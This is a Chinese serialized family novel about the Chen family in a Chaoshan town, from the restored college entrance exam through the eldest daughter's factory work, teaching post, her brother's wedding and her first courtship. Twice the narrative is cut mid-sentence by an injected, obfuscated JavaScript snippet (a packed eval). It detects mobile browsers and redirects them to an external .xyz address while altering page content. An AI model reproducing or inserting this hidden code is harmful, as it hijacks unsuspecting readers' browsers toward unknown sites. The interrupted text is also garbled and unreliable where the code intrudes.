《红花仙草[群像]》 1. 鱼饭 表叔出海打渔回来,给陈家送了一大筐海鲜杂鱼,用来答谢前段时间徐晓敏给俩孩子补课讲题。家里没冰块,陈镇东正犯愁这一堆鱼虾要怎么处理,陈慧柔正好放学回来。 “大妹,去,把这筐鱼想办法收拾一下。” 陈镇东直接把“难题”抛给大女儿去解决,省了心。 “这么多?” 陈慧柔难掩兴奋,洗完手就上前扒拉筐里的鱼,在一些叫不出名字的小鱼间夹着一两条巴浪、黄墙。她琢磨了一下,轻道:“阿爸,做成鱼饭怎么样?出锅后沾点鱼露吃。” “你看着办,最好都处理了,这天气放多一天都要发臭变质。” 说完,陈镇东摇着蒲扇进屋。 陈慧柔挽起袖子,端着一筐鱼咬牙费劲搬到水池边,舀了盘水开始清洗处理,没多久一股鱼腥味在院子里蔓延开来,她仍是眉头都没皱一下。 鱼饭,顾名思义就是把鱼当成饭。家里一年吃不到三次,加盐水煮到鱼眼爆出收火就可以端上桌,原汁原味,鲜得很。陈慧柔光是想,感觉就已经闻到了鱼香味。 起锅时门口传来一阵急促脚步声,大门被用力推开,门栓子咕咚一声响,陈慧柔抬头就看见大哥陈敬涛满头大汗,攥着张信纸往里闯。 “大哥,晚上吃鱼饭。” 陈慧柔朗声招呼,陈敬涛顾不上应她,直接往里屋找阿爸和阿妈。 “爸、妈!国家恢复高考了!这是我刚从厂里抄来的招生工作意见,妈您看看,凡是符合条件的工人、农民、上山下乡和回乡知识青年、复员军人、干部和应届毕业生,均可报考。” 陈敬涛一路跑回来,这会大喘着气把纸上的字念给父母听,眼里满是光。 窗外,隔壁老王家正在播潮剧,咿咿呀呀的也没能盖住陈敬涛洪亮的声音:“爸!妈!我想继续读书,我想参加高考!” 陈镇东将那张沁了手汗的纸递给妻子徐晓敏,扇着蒲扇:“果子厂的工作本来也是临时的,你要想考,我没意见。” 徐晓敏笑着点头:“考吧,妈支持你。” 陈慧柔将两张小木桌拼到一起,话也听了七七八八,好奇问道:“大哥,高考难吗?” “不知道,国家已经十年没有高考了,我这半年也没怎么学习做卷子,改明儿去书摊那看看有没有什么习题本。” 陈敬涛把纸揣回兜里,脱下外套走到院外洗了把脸,顺便把在巷子口玩的小弟陈敬禹叫回来吃饭。 陈慧柔分好碗筷,看向陈镇东:“阿爸,我以后也要参加高考,像大哥一样。” 陈镇东拿过搪瓷缸给自己倒了杯水,乍一听陈慧柔这话,没耐性道:“你一个姿娘,上什么大学,这两年厂子效益还不错,初中毕业要是能进去当个化验员就再好不过了,该帮家里分担点经济压力了。” 陈慧柔还想说什么,屋里的小孩哭了起来,徐晓敏捂着心口轻咳,准备起身去看,陈慧柔忙拦住她。 “妈,我去哄小妹,你跟阿爸先吃。” 陈敬禹一进院子就闻到鱼腥味,吵着说臭,被陈敬涛揪着领口拎到水池边,督促洗脸洗手。 陈家四个孩子,就陈敬禹最淘气。 每天放学不着家,也不帮着干活,天黑要吃饭了还得陈敬涛去把人抓回来,不是在巷子口玩弹珠,就是在邻居家看黑白电视。 陈慧柔忙完上桌,那仅有的两尾黄墙鱼都没了,她没有多想,默默捡锅里的小鱼吃,小鱼也鲜甜。 自打准备参加高考,陈敬涛就没再去果子厂上班,每天早上骑车送徐晓敏去学校上课,然后就留在办公室做题,不懂了还能上隔壁学校问老师。 徐晓敏在镇里第一小学教语文,对面就是附属一中,高中部就两个班,有的老师还得兼任初中部的课。 一中的老师们也都认识陈敬涛,见他来请教问题还会给他多印一张卷子。 高考前,徐晓敏把放在窗台上的石榴花搬到院子里日照最好的位置,夜晚方便受露。 考试那两日,陈敬禹出门前,陈镇东都会折一枝石榴花枝沾取红花仙草浸泡过的水洒在他身上,寓意平安吉祥,事事顺心。 “红花”是石榴花的嫩枝嫩叶,“仙草”是小槐花,两者是潮汕人心目中两大瑞草,亦是祥瑞之物,保平安顺,趋吉避凶。 成绩放榜,这一年县里参加高考的考生有八千多名,但只有五十六名考生被高等院校录取,七十八名考生被中专学校录取。 陈敬涛考上了中专,已然是光宗耀祖的事,陈家决定做桌庆祝。徐晓敏身体不好,陈镇东两个妹妹过来帮嫂子一块张罗。 这家出点肉票,那家买点米,表叔又送来了一筐鱼虾,拼拼凑凑做了十二道菜,甜莲子汤打头,糯米圆子收尾,讲究个甜头甜尾。 来食桌的客人都说陈敬涛有出息,将来一定能替陈家撑门楣。 陈敬禹嘴里的莲子都没嚼烂,就兴奋地直嚷嚷:“我以后也要跟大哥一样,考上大学!” 陈镇东小喝了两口酒,听到这话,哈哈大笑:“好!” 徐晓敏听到这话,旋即放下手中的碗筷,看向另一头小矮桌上的陈慧柔。她像是没听到这话似的,只顾着喂小妹吃米粥。 晚上,隔壁王家也来陈家凑热闹,张婶想帮儿子借陈敬涛的笔记抄,陈敬涛还有些不好意思。 “张婶,我也就只考上个中专,也不厉害。” “阿弟还谦虚呢,你这个师范专业读出来就是当老师的,铁饭碗!羡慕不来的!” 一屋人有说有笑,陈慧柔在屋外水池边洗碗,听了两句就哼起歌来,旁人不知道以为她也是在替大哥开心,事实上,她是不想听见里头的话。 送走了邻居,屋门合上,徐晓敏看了眼里屋熟睡的小女儿才回到床边,陈镇东泡完脚的水也没倒掉,盆子搁在那,差点绊倒徐晓敏。 “你先别睡,我有事要跟你商量。” 陈镇东顾自躺下,敷衍问道:“怎么了?” 徐晓敏匆匆忙忙把洗脚水倒了折回屋,咳了两声,紧了紧外衣,压低声说:“大妹就要毕业了,我的意思是让她继续念高中。” 听到这话,陈镇东翻过身来,拧着眉:“这事还有什么好商量的,大佬要读中专,她一个姿娘仔,初中毕业就很可以了。到时候我在食品厂先给她找个学徒工当当,也好帮家里分担。” 徐晓敏:“可是……” “没什么可是的。”陈镇东拍拍被子,嘴里嘟嘟囔囔的,“今天这顿,票子都出去了不少,他们给大佬包的红包也不多。家里几张嘴都要吃饭,全都去念书,那谁来赚钱?累死我得了。” 徐晓敏听出来了,陈镇东就是铁了心不想让陈慧柔继续念书。家里条件确实有限,陈镇东才是这个家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071778|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主心骨,他决定了的事情,谁都拗不过。 次年7月,陈慧柔初中毕业,证书拿完,陈镇东就让她跟着自己去厂里,工人见了打招呼:“陈总工,这是带大妹来熟悉厂里环境了?” 陈镇东年轻时当过兵又当过政治□□,工人劳动的时候得到了领导重视,后来参加了工厂技术改革,创办过工人总工会,虽然现在是在食品厂任副厂长,但大家都习惯了称呼他为“陈总工”。 陈镇东:“打算让她去芳妹手底下学习,从学徒工做起。” 芳妹一脸欢喜,拉着陈慧柔的手亲热道:“谁家不知道大妹手巧聪明,干起活来又利索,有这么省心的徒儿,我这师父做梦都得笑。” 陈慧柔有些不好意思,陈镇东从旁点她:“还不醒目点,叫人?” 她愣了下,反应过来:“师父好。” 芳妹:“哎!” 就这样,初中毕业的陈慧柔成了一名食品厂的女工。 每天早上三点半,天还没亮,陈慧柔就起床穿衣服,经过外屋放轻了脚步,屋门栓子一挪吱呀作响,床上的大人翻了个身。 她屏住呼吸小心翼翼才把门给推开,冷风灌进来的瞬间,吹散了满脸的困意。陈慧柔没敢耽搁时间,洗了把脸就背起一筐脏衣服出发去河边浣洗。 黄冈河是镇上的母亲河,从陈家走过去要将近20分钟,陈慧柔每天早上打着手电筒出门,赶早能在上游找个水清的好位置。 这里夏天的早晨傍晚都能在台阶口看到妇女们在河边洗衣服,一边唠着家常。不少大人带着小孩去游泳,判断一个人游泳厉不厉害的标准就是可以不带着浮球一口气游到对岸。 冬天就不一样了,压根没人敢来游泳,妇女洗衣服也大都挑白天来,有太阳光照着稍微暖和些。可陈慧柔没得选,白天得去上班,所以只能这个点来。 手刚伸进去的时候刺骨得疼,但想着还有一堆活要干,陈慧柔只能忍着加快速度。全部衣服洗完背回家,晾完就得紧着做饭跟打扫卫生,赶在七点半前到食品厂。 “大姐,你上午出去的时候门没关紧,冷死我了。” 陈敬禹睡在外屋,就在父母对面打了张行军床,早上被冷醒,这会儿顶着鸟窝似的头发跟陈慧柔控诉。 陈慧柔喝完搪瓷杯里的热水,瞥了他一眼:“你都比我多睡了好几个小时,该满足了。” 陈敬禹趿拉着拖鞋挤牙膏,打了个呵欠:“那也困。” “赶紧洗漱吃饭,上课该迟到了!” 陈慧柔懒得管他,背起包推着自行车就出门。 年底,厂里头工作忙,陈慧柔虽然只是个学徒工,但要干的活也不少,加上她手脚麻利头脑灵活,芳妹几乎是带在身边亲自教,连带着质检这块也让她学。 五点半下班,陈慧柔背着包第一个跑向停车棚,推着自行车就往外跑,看门大爷见了都忍不住吩咐她慢点。 徐晓敏身子弱,第一小学离家又远,家里就一辆自行车,往常都是陈敬涛去接阿姆下班,现在轮到陈慧柔。 “大妹,来接徐老师啦?” 在校门口遇上刚下班的老师,都是徐晓敏的同事,陈慧柔停下来站定打招呼。 徐晓敏见了她,招招手。母女俩有说有笑地回家。进门后,陈慧柔放下包就马不停蹄张罗做饭。 这样的日子一过就是五年。 2. 名额 年关将至,镇上好几家小铺子门口都用大木板撑起来当桌面,摆满年货和红色贴纸,各种喜庆的花样挑得眼花。 老爷宫门口的戏台也都搭起来了,就等过年那几天唱盏仔戏。这几日下午戏团都有排练,基本上围着罩子,只听得见声响,看不见人影。 就这样,陈敬禹还每天都要跑去听个声,回家吃饭跟家里人讲,过年的曲目是《祝枝山嫁女》还是《小刀会》。 陈慧柔对这些是不感兴趣的,她只想吃快些,跟大哥去书斋房看书。 镇上书摊有卖琼瑶的书,一本两块钱,一摆上就卖光,有两本陈慧柔都没看过,只得偷偷写信给陈敬涛,让他从市里买了带回来。 饭后,邻居张婶来串门,徐晓敏拿了张凳子给她坐,又将刚摆好的果盘端出来,瓜子零嘴都有。 “敏姐,大妹呢,不在家?” 徐晓敏:“跟她哥去看书了。” 张婶一脸的惊讶:“哎哟,还看书呐,要不怎么说你家这个基因是真的好,孩子们一个个都好学。” 徐晓敏笑笑没接话茬,只顾着逗弄陈慧琪。 张婶又看向陈镇东:“陈总工,今年听说厂子效益不错啊,你家这拿厂里两份工资,过年得买多两斤肉吧?” 陈镇东摆摆手:“你这话说的,像我们白拿厂子的钱一样,大妹也是从学徒开始做到现在当质检员的。” “对,大妹名声好,这不,我婶子那儿托我来问问,大妹有对象了不?” 徐晓敏一听,脸色都冷了,怀里的陈惠琪哭闹了两声,她抱起来一边哄,一边搭腔:“慧柔过了年才二十,不急着嫁人。” 张婶听笑了,拍着大腿掩唇:“敏姐家到底是有文化,都疼孩子,这换做别家姿娘,十六七岁早就谈婚论嫁了。” 徐晓敏:“我家大佬还没谈呢,轮不到妹妹。” 张婶:“哎哟,说起敬涛,一表人才的,你家门槛这都是被媒人给踩塌的吧?还没定下来呢?” 徐晓敏摇头,不想聊这个话题,抱着孩子就进里屋。 外屋顿时只剩下陈镇东跟张婶,即便开着电视有声响也难免尴尬,张婶找了个借口就走了,说媒没说成,碰了一鼻子灰,真看不出来,这家还把女儿当宝。 把陈慧琪哄睡后,徐晓敏回到外屋,先是给陈镇东倒了杯小酒,又给掰了一小碟花生米。坐在旁边自顾自地聊起:“过完年,三月份我就要退休了,大佬毕业后有分配,我想让大妹来顶我的职位。” 1978年6月,国.务.院颁发相关号文规定,职工离退休后,允其一名符合招工条件的子女顶替安排工作。 徐晓敏要退休了,陈家有一个名额,她想给陈慧柔。 陈镇东抿了口酒,没应声。 徐晓敏起身把电视关上,顺手把门掩合,一屋子静下来,隐约只听得见隔壁播潮剧的声音。 “当初没让大妹继续念高中,我心里一直过不去,眼下有这个机会,我想给她。”徐晓敏轻声道。 这桩事压在她心上五年,好在有政策,也算个机会。 陈镇东:“她又没读过师范,怎么当老师?” 徐晓敏耐心解释:“顶职后有半年的师资培训,然后继续考师范,脱产进修两年。” “加起来就快三年。” 陈镇东替徐晓敏把后半句说了,仰头喝完剩下的酒。 徐晓敏柔声开口:“我知道你在顾虑什么,大妹这几年在工厂上班,工资到手都会交给我贴补家用,我留了一些攒起来。” 陈镇东挥挥手:“那我没意见。” 1983年,年初一早晨祭祖,晚辈给家长拜年。一大早镇上就有营大锣鼓,有些商铺为了图吉利,会在锣鼓队到的时候放鞭炮给利是,锣鼓队会停下来给他们舞一段献技贺新年。 陈敬涛四姐弟拜完年就去巷子口看锣鼓班,陈敬禹最爱看这些,愿意从巷子头跟到巷子尾。遇上饭点也舍不得回家,非得看完才肯走。 初三走亲访友,陈镇东的老朋友王珣立带妻子来陈家做客,见到了陈敬涛。陈敬涛往那一站就是斯文气派,长相也端正,还是中学教师。 王珣立的妻子一下就注意到了,等着正月一过,就让丈夫来陈家说亲。王家有个小女儿,小陈敬涛两岁,年纪正相配。 陈镇东和徐晓敏一听,拍板答应。 转眼到了七月份,半年的师资培训结束了,陈慧柔顺利考上师范,开始为期两年的脱产进修。 与她同班的黄沐卿是陈慧柔闺中好友,黄沐卿的父母与徐晓敏认识,自小就有来往。 “慧柔,下了课我们一块去趟商店哩,我妈给了我布票让我买两块好看的料子,要给我做裙子穿。” 黄沐卿挽着陈慧柔的手亲亲密密地往外走,她身形高挑样貌好看,总喜欢给自己打扮得漂漂亮亮的。 陈慧柔:“我就不去了,我得去替我大哥送信。” 陈敬涛和王君交往过程里,陈慧柔充当的是信童的角色,每天下课顺道帮大哥送信,约王君出来见面。王君长相秀气,小家碧玉,陈慧柔对她的印象还不错。 “啊?那我陪你一起去,去看看你的新嫂子!” 黄沐卿情绪转变得快,主意一下一下的。 陈慧柔哭笑不得:“还没结婚呢,不好叫嫂子。” “我看也快了,这原本一周一次信,现在得两三次了吧?净使唤你。” 两人骑车有说有笑地到了纺织厂,没过多久王君就出来了,陈慧柔一眼就看见她,从包里拿出信来夹在一份小糕点下面递给王君。 “米糕粿是我小姑做的。” “谢谢。” 王君声音听上去软乎乎的,格外小声,黄沐卿都差点听漏。 王君:“辛苦你跑一趟,要回家了吗?” 陈慧柔:“对,那我先走了。” “等等,这是,这是给你哥的回信。” 王君飞快往陈慧柔手心里塞进一个信封,上面还印了朵小花,陈慧柔点点头收进包里。 车子离开纺织厂大道,黄沐卿憋了半天的话总算能说了:“你嫂子看起来也太小巧玲珑了吧!涛哥个子那么高,这出去不知道的还以为带着你家小妹呢。” 陈慧柔听笑了:“有那么夸张?” 黄沐卿:“我说的是事实。” 陈慧柔:“没听过一句话?浓缩的就是精华。她性子好,我哥喜欢就成。” 黄沐卿点点头,也没再说什么,她还惦记着商店的新布料,想着绕回去看看店门关了没。 陈慧柔看着天色,有些晚了,回去还得做饭:“今天没办法陪你去商店了,要不等明天?” 黄沐卿想了想:“也行。” 两人的车在后街巷分开,陈慧柔加快速度回家,彼时徐晓敏已经把饭做好,其他的就等陈慧柔回来再弄。 夏天一过,陈王两家商量着婚事,每天晚上,家里不大的外屋挤满了大人商量各种琐事细节,毕竟是陈家长子的婚事,又是这一辈中最早结婚的,重视得紧。 屋里没法待,陈慧柔带着陈慧琪去书斋房看书,陈敬禹刚上初中,功课不算多,趁着大人不注意,溜出去巷子头找朋友玩。 第一天去放炮,第二天去抓鸟,到第三天,陈敬禹和人打架了。一挑三,打着打着变成怂包,被人追着满巷子跑,他想都没想就往书斋房去,叫声惊得一屋檐的鸟都飞走了。 陈慧柔从房里出来,还没看清楚情况,人影就闪到她后面。 “大姐大姐!他们要打我!” 陈慧柔皱眉:“你又干什么了?” 跑进来三个小伙,个子看上去都要比陈敬禹高,一顶头发染得乱七八糟的,一看就是混社会的,不是什么正经小孩。 “陈敬禹,有本事别躲姿娘后面,出来单挑!” 为首的那个人朝陈敬禹吼了声,屋里的陈慧琪都跑出来看热闹,扒拉着门板看二哥跟小鸡仔似的躲在大姐后面,真是新奇。 “你们三个打我弟一个,算哪门子单挑?你这头发上哪染的,不好好 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书斋房里的小孩都跑出来看热闹,有两三个大人闻声也出来,本想护着陈家俩姐弟,发现根本都不用,陈慧柔三言两语就把人给吓退了。 林老伯乐呵呵地竖起大拇指:“大妹啊,有你阿姆的样了。” 陈慧柔颔首道歉:“不好意思阿伯,吵到大家了。” 陈敬禹站直了身,理了理领口和头发,松了口气,见陈慧琪鬼头鬼脑地躲在后面,拉着她警告,回家不许跟阿爸阿姆说。 陈慧柔揽过陈慧琪,拧眉:“你干什么惹那几个人?” “他们卖假牌!我那一套就差个小王就齐了,他们说有,就是要两块钱才肯出,结果给的假牌!” 陈敬禹气死了,两块还是他省吃俭用攒下来的,弹珠都舍不得买新的。 陈慧柔:“你都上初中了还玩公仔牌,小心被阿姆没收了去。” “大姐,今天的事别跟阿爸阿姆说,不然我又得挨阿爸打。” “知呐,回家吧。” 陈慧柔回屋里收东西,陈慧琪打着呵欠闹着要二哥背自己回家,姐弟仨并排走在巷子里,陈敬禹望着路灯,扭头问陈慧柔。 “大姐,等明年开春,大哥跟君姐是不是要结婚了?我昨天听二姑说了,婚房就设在小阁楼,那你跟慧琪住哪?” 陈慧柔愣了愣,不知道陈敬禹连这都听见了。双手抄在兜里,踢着路面上的小石子,喃喃道:“我也不知道,听阿爸阿姆的安排吧。” 陈慧琪揽着陈敬禹的脖子,睡着了,嘴里还叫着大姐。 路灯将三人的影子拉长,主动挑起话题的陈敬禹很快就忘了这件事,只觉得背上的陈慧琪沉得很,不由得加快脚步。 陈慧柔满腹心事,越走越慢,距离一下就拉开了。月光清清冷冷地照在她身上,一个没留神,踩到了一块不稳的青石板。 石板哐当一声闷响,在这黑长的巷子里并不突兀,就连走在前面的陈敬禹都没听见,唯独陈慧柔自己吓了一跳。 回到家,客人都走了,桌上凌乱堆着花生皮和瓜子皮,茶杯也都还没洗,徐晓敏正把拿出来的椅子收好,陈镇东则坐在主位上,翘着脚听收音机。 “你们仨一块回来的?阿琪睡了?” 徐晓敏拍拍手,接过陈敬禹背上的陈慧琪,抱回里屋去。 陈敬禹给自己倒了杯水咕噜噜灌完,看了眼屋子,问:“大哥呢?” “出去送客了。”陈镇东指挥着陈慧柔:“大妹,把桌子收拾一下,地也扫一扫,别晚上馋老鼠。” 陈慧柔正想着坐下,卷起裤腿看脚踝,隐隐有点疼。结果被陈镇东这么说,又直起腰来:“好。” 陈敬禹放下茶杯,主动拿起扫帚:“我帮大姐。” 陈镇东看了他一眼,露出新奇的表情:“今天太阳打西边出来?” 陈慧柔没觉得有什么,她知道陈敬禹就是在谢自己晚上帮忙解围罢了。 3. 搬家 周末,陈慧柔难得睡晚了些,正在小池子边刷牙,听见一阵急促的叩门声,赶忙漱口去开门。 小姑瞧见她,笑着捏了捏脸:“大妹,都收拾好了吗?” 陈慧柔穿着睡衣愣愣的,一脸迷糊:“收拾什么?” 小姑:“搬家呀,不是说好了今天?” 搬家? 早晨阳光暴晒,顶着日头让人睁不开眼,陈慧柔脸还没洗,困意未消,突然听见这话,更觉得稀里糊涂。 徐晓敏闻声从里屋出来,招手示意小姑先进屋,又走到陈慧柔身边,抬手帮她抹掉嘴边的泡沫,柔声道:“先吃饭,吃完阿姆跟你说个事。” 小姑也是进了里屋才知道,大哥跟嫂子还没把这事儿跟陈慧柔说,待转过弯来,她叹气埋怨兄长。 “哥,你这事做得可欠考虑了,大妹现在都工作了,不是小时候那会,这种事怎么能瞒着她,定下来了就得第一时间跟孩子说啊。我这一大早赶过来,敢情是来给你家戳窗户纸的。” 陈镇东平静道:“现在说也来得及。” 隔着一道墙,徐晓敏和陈慧柔坐在小木桌前。陈慧柔小口咬着馒头,把阿爸和小姑之间的对话听了个遍。 “妈想让我搬去小姑家住?” “你大哥明年要结婚,家里得给他们腾出个小房间来当婚房,想来想去只有小阁楼合适。你现在大了,和阿禹睡在里屋也不方便,你小姑说了,可以先住在他们家,他家西厢房有间空屋子,打扫打扫能摆下一张床跟书桌。” 徐晓敏也是仔细考虑过,万不得已,她也不想让自己孩子搬出去。 “从你小姑家去学校很近,北门巷子出去穿过大榕树,两条街就到了,到时候你上班方便。” 陈慧柔吃着米粥,想着小姑那间常年当仓库用的西厢房,冬冷夏热,雨天还漏水。心里的烦躁比屋外的野蝉有过之而无不及。 “本来是跟你爸商量着把里屋隔一下,看能不能挤下两张单人床,谁知你小姑先提出这个办法。大妹,去了西厢房住,有自己独立的床和书桌,还离学校近,妈觉得挺好的。” 陈慧柔放下筷子,拿出方巾擦了擦唇角。知道这事已经是板上钉钉,自己的意见也根本不重要。 “那就听爸妈的,我现在去收拾东西。” 装衣服的包还是上次去参加师资培训时特地买的,陈慧柔的东西不多,三个包袋就塞满了。 陈慧琪醒来抱着陈慧柔不肯撒手,陈慧柔哄着她:“大姐只是搬去小姑家住,又不是不回来了。” 徐晓敏附和道:“对啊,大姐晚上还回家里吃饭的。” 陈慧琪噘着嘴,小孩气道:“那怎么不让二哥去!” 徐晓敏没反应过来,倒是陈慧柔抢先回答:“二哥得留下来保护你和爸妈啊,不然晚上有老鼠蟑螂怎么办?阿琪去抓?” 陈慧琪:“二哥还得大姐保护呢。” 陈镇东和徐晓敏听不懂陈慧琪在说什么,只觉得小孩童言无忌,话不能认真听了去。 很快,小姑父骑着三轮车过来,把包裹和书本拎上车。陈慧柔跟着小姑先走,去收拾东西。晚些时候徐晓敏也从家里带了些日用过去,算贴补,顺便帮陈慧柔布置一下西厢房的屋子。 就这样,陈慧柔在小姑家西厢房住下,阁楼让给了陈敬涛做婚房。陈镇东找人简单翻修了一下家里,把残破的墙面修补了一遍。 新年开春后陈家找老师傅算了吉日。 1984年农历六月初九,陈家有喜。 一大早,王君的婶婶就背过来一担嫁妆,徐晓敏给了个红包添喜。陈敬涛梳着大背头满脸精神气,胸口佩戴喜花写着新郎二字,不时站在家门口张望着,没多久就被陈镇东叫回屋招待客人。 过了会,陈敬禹从外面跑回来,大声嚷嚷着:“嫂子来了!嫂子来了!” 所有人都起身去往外面看热闹,王君的兄长背着王君过来,旁边还有她几个姐姐说着吉利话分喜糖。 王君是家里最小的孩子,自幼娇贵受宠。 徐晓敏迎上前,笑道:“来,先一人一碗甜粥,甜甜蜜蜜。” 陈慧柔接收到陈镇东的眼神示意,拉着陈敬禹和陈慧琪去外面等,按照潮汕传统习俗,娘家人过来吃甜粥,夫家人是要避开的。 她也不知道这是为什么,但大人的吩咐,照办就是。 陈慧琪穿得像个吉娃娃,乖巧跟在大姐旁边,陈敬禹今日也不敢闹腾,三人就这么沿着后街走来走去。来回走了两遍才遇到小姑出来叫人,可以回去了。 陈敬禹飞快跑回去想看热闹,陈慧柔拉着陈慧琪的手跟在后面。 甜粥喝了,祝福话说完,新郎就背着新娘上阁楼房间,陈慧柔他们进去后也没见着面,就只是喝了碗甜粥,便忙着帮家里人给亲戚回礼。 喜糖是自家做的束砂和豆方, 前些天没课的时候,陈慧柔就回来帮徐晓敏炒花生,制作束砂的花生要用沙子来炒,炒完过一遍竹筛,然后把炒好的花生米倒进调制好的糖浆中。 因为是喜糖,这糖浆也是用红曲染的桃红色。 刚炒好的花生米还裹着热气,和滚烫的糖浆搅拌在一起,瞬间黏在一块,上糖一般要上三遍,保证每一粒花生米都裹上一层薄厚均匀的糖衣,这样,束砂就算做好了。 除了束砂,还有豆方,主要原料就是花生米、黑芝麻和麦芽糖。 做这些就只有徐晓敏和陈慧柔两人,之所以避着陈慧琪,就是怕她贪嘴偷吃。 做好的束砂和豆方用红袋子装好,外面贴个喜字,送给来道喜的亲戚邻里,也叫“食甜”。 礼成后,新娘子在楼上“躲了”三天才下来,煮完第一餐饭,一大家子吃完,王君和陈敬涛就回门了。 自陈家有了儿媳后,陈慧柔的家务活都少了一半,再也不用一下课就赶回家,偶尔还能陪黄沐卿逛商店。 时间过得飞快,一眨眼,立冬都过了。 立冬后的白萝卜最是鲜甜,小姑从菜地里收了一筐回来,让陈慧柔下课带一些回去给徐晓敏做菜头粿。 提到菜头粿,陈慧柔就来劲了,这是她最喜欢的小吃,片刻不敢耽搁就往家里送。 日头晒到正屋里,徐晓敏正坐在椅子上翻药典,陈慧琪在她旁边的矮桌上看小人书,陈慧柔搬着自行车过矮门槛,陈慧琪听到声音,第一时间丢下书往外跑去。 “大姐!” “哎!”陈慧柔看向屋里:“妈呢?” 徐晓敏闻声出来,看到一筐白萝卜,摘下老花镜:“从哪带了这么多萝卜回来?” “小姑去菜地里收的,说拿些回来做菜头粿。” 陈慧柔让陈慧琪搬个木盆过来,自己往里放萝卜,没一会就堆得小山高,得有十几二十根。 徐晓敏为难道:“这么多,得吃到什么时候?” 陈慧柔早有主意:“吃不完的,让嫂子做腌萝卜或者晒成菜脯都行。” 菜头粿是潮汕这边的特色小吃,家庭主妇基本都会做,陈慧柔小时候就经常看徐晓敏炊菜头粿,渐渐的也掌握了其中技巧。 先把白萝卜刨成丝,撒些盐出水,然后加入切好的猪肉、虾米、香菇粒、花生米,拌着生粉和佐料搅匀。给蒸笼屉刷一层油,倒入后上锅蒸熟。 等出锅了就切成片,可以直接蘸酱吃,但陈慧柔喜欢煎口,会多一道工序,把菜头粿表皮煎脆,再蘸甜辣酱,一人能吃好几块。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071780|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王君从厂里回来时,菜头粿已经上锅蒸了。 “还有什么能帮忙的吗?” 王君也是个勤奋人,干活干净利落,不比陈慧柔差。换好衣服出来,就主动把腌萝卜的任务交接过去。 两人搬着小板凳坐在小院里,一边做饭一边闲聊。 王君问:“学校的课满吗?” 九月新学期一开始,陈慧柔正式在第一小学教书,一年级的语文,对她来说不难。 “还行,带了四个班,小孩们都挺可爱的。” 王君笑了笑:“小学还是比初中轻松,你说学生可爱,阿涛都没用过这个词。他快愁死了,初中生不服管教,一个比一个皮。” 陈慧柔:“我最近都没怎么碰着大哥,也没说上几句话。” 王君:“他啊现在回家就管敬禹的学习,待在里屋的时间要比在阁楼多得多。” 菜头粿的香味出来了,王君闻着味,猜中好几种配料:“怎么不放点腊肉?” 陈慧柔笑着解释:“我们家没放过腊肉,有猪肉就行。” 王君:“等过年我们试试腌腊肉,我以前在家的时候见过我姐姐们做,会一点。” “好。” 陈慧柔打心里喜欢这个嫂子,能干勤快,做饭也好吃。 “对了。”王君看了眼屋里,小声问:“你在学校,有没有人给你介绍对象?” 陈慧柔愣了下,摇摇头。 王君甩了甩手,挪动板凳坐得离陈慧柔更近些:“昨晚阿姆朋友来家里聊天,就莲姨,你知道的吧?” 陈慧柔点头:“知道。” “莲姨想给你说亲,我估摸着阿姆晚上就会跟你讲这事了。” 陈慧柔低垂着头,王君看不清她脸上的表情,只是把自己知道的都跟大姑子说:“那个男生我也认识,是我初中同学。现在在乡镇工商所工作,家里是……” 王君凑到陈慧柔耳边小声说了个词。 陈慧柔很是意外。 王君:“所以不知道阿姆会不会介意,但他人还不错,我想跟你说的就是这个。” 陈慧柔点头,心里有数。 陈敬禹放学回来,十米开外就闻到菜头粿的味道,循着发现是自家在蒸,乐得嚎一嗓子:“今晚有菜头粿吃?” 陈慧柔吓了一跳,抬起头来,和王君的谈话就这么戛然而止。 晚上,陈慧柔洗完碗筷准备回去,徐晓敏叫住她。因为下午王君透露过,陈慧柔大抵能猜到徐晓敏想和自己聊什么。 果不其然是谈对象。 陈敬涛结婚后,大家就把目光转移到她身上,别人在她这个年纪,孩子都可以打酱油了,就陈慧柔还是单身,每天就是学校家里两头跑。 其实这些年陆陆续续都有人想给陈慧柔介绍对象,只是条件一般,徐晓敏听了觉得不太满意,这才帮陈慧柔拦下。 可这次不一样,牵线的是徐晓敏最好的朋友,两家人知根知底,男方家徐晓敏也认识,这才想着跟陈慧柔聊聊看。 讲完情况,徐晓敏柔声问:“你听了有什么想法?他家和我们家一样,就普通家庭,男孩聪明,学历高,现在单位也很不错。” 陈慧柔迟疑片刻,问:“他家也是被革命过?” 徐晓敏“啊”了一声,惊讶:“你怎么知道?” 陈慧柔轻笑:“妈,你自己说了,和我们家一样。” 徐晓敏半信半疑:“我说的一样,是指都是普通家庭,不是做生意,大富大贵那种。我只是图他学历好,单位好,配得上你。” 陈慧柔对自己没什么信心:“阿姆,我可一般。” 徐晓敏抬手揉了揉徐晓敏的头发,一脸温柔:“你很好的,阿柔。” 4. 初恋 1985年春,经莲姨牵线,陈慧柔认识了江泓,很快两人就确定恋爱关系。 江泓人很机灵,对约会的安排非常周到,红星电影院一有什么新电影上映,他都能第一时间搞到票带陈慧柔去。 逛街的时候也会去商店,对新上货架的商品了如指掌,非常舍得给陈慧柔花钱。 对这个对象,陈慧柔没什么意见。 去年冬天有一阵风很大,把外屋的窗给刮烂了,关不严实还哐当作响。赶上这几天天气好,陈敬涛从木料厂那淘了几块板子回来,准备自己做窗户。 江泓也去帮忙,活干得还凑活,临近饭点,陈慧柔就留他在家里吃饭。 